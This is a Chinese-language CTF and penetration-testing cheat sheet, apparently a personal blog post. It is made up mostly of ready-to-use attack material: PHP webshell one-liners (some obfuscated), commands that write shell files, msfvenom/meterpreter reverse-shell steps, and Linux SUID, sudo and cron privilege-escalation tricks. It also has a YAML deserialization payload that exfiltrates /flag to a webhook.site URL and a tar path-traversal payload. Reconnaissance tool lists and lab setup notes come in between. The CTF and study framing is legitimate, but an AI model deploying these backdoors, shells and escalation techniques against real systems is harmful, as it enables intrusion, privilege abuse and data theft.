<script language="php">system("id"); </script>

<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")

<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")

<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id

<?php @include($_FILES['u']['tmp_name']);
// 构造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上传
// 把暂存档include进来
// From: http://www.zeroplace.cn/article.asp?id=906

<?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")

echo "{${phpinfo()}}";

echo "${system(ls)}";

echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc= => cat flag

echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>

echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo导出一句话

<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");

<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>

<?php
// 无回显后门
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>

<?=
// 没有字母数字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");


A=fl;B=ag;cat $A$B

常见linux敏感文件

/proc/self/cmdline #进程的命令行参数

攻防

dirsearch 找后台,弱口令
找OA,找没有修复的cve

渗透

信息搜集

总的来看就是搜集有关的子域名,IP

企业信息

天眼查:https://www.tianyancha.com/
企查查:https://www.qcc.com/
小蓝本:https://www.xiaolanben.com/pc
爱企查:https://aiqicha.baidu.com/
启信宝:https://www.qixin.com/
国家企业信用信息公示系统:
http://www.gsxt.gov.cn/

Whois

https://whois.chinaz.com/
https://x.threatbook.com/
https://whois.aizhan.com/

CA证书

可以通过CA证书查子域名

docker run --rm unapibageek/ctfr -d baidu.com 
docker run --rm unapibageek/ctfr -d github.io
docker run --rm unapibageek/ctfr -d gitee.io
# 详细信息网站
https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=baidu.com

oneforall
starmap
AppInfoScanner
EHole要自己去github找一些指纹库

绕CDN,去github搜

目录

信息收集 子域名收集
企业信息收集
移动端
WAF识别
Web应用
CDN信息
指纹识别
端口服务及
目录路径
邮箱信息
网站历史
旁站
边缘资产
搜索引擎

更多

看教程

漏洞扫描

搭建靶场

Vulhub

docker run -d -p 8090:80 citizenstig/dvwa
docker run -d -p 8089:80 vulfocus/vulfocus
docker run -d -p 8088:80 vulfocus/74cms_cve_2020_35339
8023/pikachu-expect
c0ny1/upload-labs
citizenstig/dvwa
acgpiano/sqli-labs




漏洞扫描工具

项目地址:https://github.com/elliot-bia/nessus/

运行容器:docker run -itd --name=ramisec_nessus -p 8834:8834 ramisec/nessus

执行更新:docker exec -it ramisec_nessus /bin/bash /nessus/update.sh


docker exec -it ramisec_nessus /bin/bash
cd /opt/nessus/sbin/
# docker 容器默认为root权限,可不加sudo执行命令
./nessuscli lsuser # 查询用户
./nessuscli chpasswd admin # 修改密码

# 提示【New password: 】的时候输入新密码,需要输两次
# 显示【Password changed for admin】提示则密码修改成功

容器地址:https://hub.docker.com/r/secfa/docker-awvs

Yakit
awvs

扫描器测试网站
https://github.com/tutorial0/testphp_vulns
http://testphp.vulnweb.com/

目录爬取工具rad
很全的工具库,但是有没有用因人而异

信息收集补充
https://github.com/search?q=%E5%AD%90%E5%9F%9F%E5%90%8D%E6%94%B6%E9%9B%86%E5%B7%A5%E5%85%B7&type=repositories

https://github.com/0x727/ShuiZe_0x727
https://github.com/shmilylty/OneForAll

https://github.com/ZhuriLab/Starmap
https://github.com/komomon/Komo/tree/beta

漏洞扫描补充
https://github.com/search?q=%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F&type=repositories

https://github.com/ysrc/xunfeng
https://github.com/zhzyker/vulmap

漏洞利用

看ctf
hydra九头蛇密码爆破
某乎的使用教程

提权

安全标识符SID,每个用户的唯一标识。

访问控制,访问权限,活动目录,访问令牌,用户访问控制

Windows本地提权
横向提权,获得同级别权限
纵向提权,从低权限到高权限

Windows内核溢出漏洞提权

systeminfo | findstr OS
systeminfo | findstr KB
#看没打的补丁找漏洞

Windows提权辅助工具

https://i.hacking8.com/tiquan

可信任服务路径漏洞

msfconsole
use exploit/multi/bandler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.28.44
run
#制作反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.44 LPORT=4444 -f exe > 1.exe
# 把1.exe上传服务器执行
# 切换payload
exit
background
use windows/local/unquoted_service_path
show options
set session 1
run
getuid
shell

令牌窃取提权

BypassUAC提权,和可信任差不多

MySQL数据库UDF提权,自己找工具

linux提权

权限r w x 分别为4 2 1
linux内核版本

uname -a # 打印所有可用的系统信息
uname -r # 打印内核信息
cat /proc/cpuinfo # 查看cpu信息
cat /etc/*-release # 查看发行版本
cat /etc/sudoers # 查看哪个用户有root权限
...

linux 内核提权
利用工具Linux_exploit_suggester

./linux-exploit-suggester.sh

SUID提权
已知可以用来提权的文件

nmap
vim
find
bash
more
less
nano
cp
...

# find 搜索具备SUID权限的程序
find / -perm -u=s -type f 2>/dev/null
find /-user root -perm -4000 -exec ls -ldb {}};
find /-user root -perm -4000 -print 2>/dev/null

# find提权实例
touch test
find test -exec whoami \;

# bash提权实例
bash -p

# nmap提权
# nmap "asd;sh"
nmap --interactive
!sh

# vi提权
:!sh

# vim提权
:set shell=/bin/sh
:shell

# data提权
date -f /etc/shadow


# 更多提权
https://www.cnblogs.com/zlgxzswjy/p/10083959.html

# cve-2021-4034 找脚本

SUDO提权
配置文件语法

  • 赋予用户全部root权限
  • sangforALL(ALL:ALL) ALL
  • 赋予用户部分root权限
  • sangfor ALL=(root)NOPASSWD: /usr/bin/awk
# awk命令提权
sudo awk 'BEGIN{system("/bin/bash")}'

# ed命令提权
sudo ed
!/bin/bash

配合john破解密码效果更佳

计划任务提权

# 查看计划任务
cat /etc/crontab
# 查找计划任务中可能利用的脚本,看有没有普通用户写入权限
# 写入
cp /bin/bash /tmp/bash;chmod +s /tmp/bash
# 提权
/tmp/bash -p

内网渗透

cs教程

AWD

工具

VM
kali
windows
JDK
浏览器插件
Proxy SwitchyOmega
Wappalyzer
猫抓
HackBar
程序
BurpSuite
Fiddle
中国蚁剑(蚁剑插件)
sqlmap
dirsearch
xray
githack2
githack3
python-dsstore

Vmware安装kali
大神备忘录
polar靶场wp

CTF师傅大全

zysgmzb
hacbit
yixinbc
jnuse


WP观察员

冷知识预热


在 Windows 上转义空间的三种方法
您可以通过三种不同的方式在 Windows 上转义文件路径:

  • 通过将路径(或路径的一部分)括在双引号 ( ” ) 中。
  • 通过在每个空格前添加插入符 (^)。(这仅适用于命令提示符/CMD,并且似乎不适用于每个命令。)
  • 通过在每个空格前添加重音符号 (`)。(这仅适用于 PowerShell,但它始终有效。)

牛马C语言读取环境变量

#include <stdio.h>

int main() {
char buf[0x8];
printf("%53$s");
}

2023羊城杯

信息外带

!!python/object/apply:os.system ["curl https://webhook.site/5add9823-b6a9-465e-9d40-da7e1838ca25/flag?flag=`cat /flag`"]
webhook.site
https://www.requestrepo.com/
判断出网http://dnslog.cn/

tar解压目录穿越

tar cPvf midi.tar ../../../../../../../../var/www/html/testupload/payload.php
# 最终会生成/var/www/html/testupload/payload.php
# https://blog.csdn.net/wanmiqi/article/details/110202417

满分是10分的话,这篇文章你给几分,您的支持将鼓励我继续创作!